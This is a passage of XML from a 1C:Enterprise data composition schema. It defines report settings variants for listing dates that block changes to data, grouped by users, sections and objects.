<dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КомментарийНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>6106cf95-b0ad-42c9-baf2-7012c282381a</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройки дат запрета</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>ДатыЗапретаИзмененияПоПользователямБезРазделов</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных по пользователям</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Адресаты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>1c4b0698-504d-451e-a3dd-3ba286183a57</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Разделы</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Inaccessible</dcsset:viewMode> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Объекты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>9d9c1e2c-1702-46cf-9754-6f4fb6993446</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>АдресатНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:use>false</dcsset:use> <dcsset:field>Раздел</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Объект</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:use>false</dcsset:use> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КомментарийНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>6106cf95-b0ad-42c9-baf2-7012c282381a</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройки дат запрета</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>ДатыЗапретаИзмененияПоПользователямБезОбъектов</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных по пользователям</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Адресаты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>085bf8f7-3672-4ea5-817a-e0b9895465e9</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Разделы</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>d9241907-6671-4e9a-8225-b5adffe770b0</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Объекты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Inaccessible</dcsset:viewMode> </dcscor:item> </dcsset:dataParameters> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>АдресатНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Раздел</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:use>false</dcsset:use> <dcsset:field>Объект</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:use>false</dcsset:use> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КомментарийНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>6106cf95-b0ad-42c9-baf2-7012c282381a</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройки дат запрета</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>ДатыЗапретаИзмененияПоРазделамОбъектамДляПользователей</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных по разделам и объектам</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Адресаты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>f19d7fa1-2395-484c-a3db-6b2be621b42e</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Разделы</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>01902b88-ba82-4086-a503-c093634e862f</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Объекты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>6a426184-7fab-4727-99ec-f38c25b25aa0</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Раздел</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Объект</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>АдресатНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:use>false</dcsset:use> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КомментарийНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>0a91b79e-111c-407d-b4eb-a8271a4bac9b</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройки дат запрета</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>ДатыЗапретаИзмененияПоОбъектамДляПользователей</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных по объектам</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> 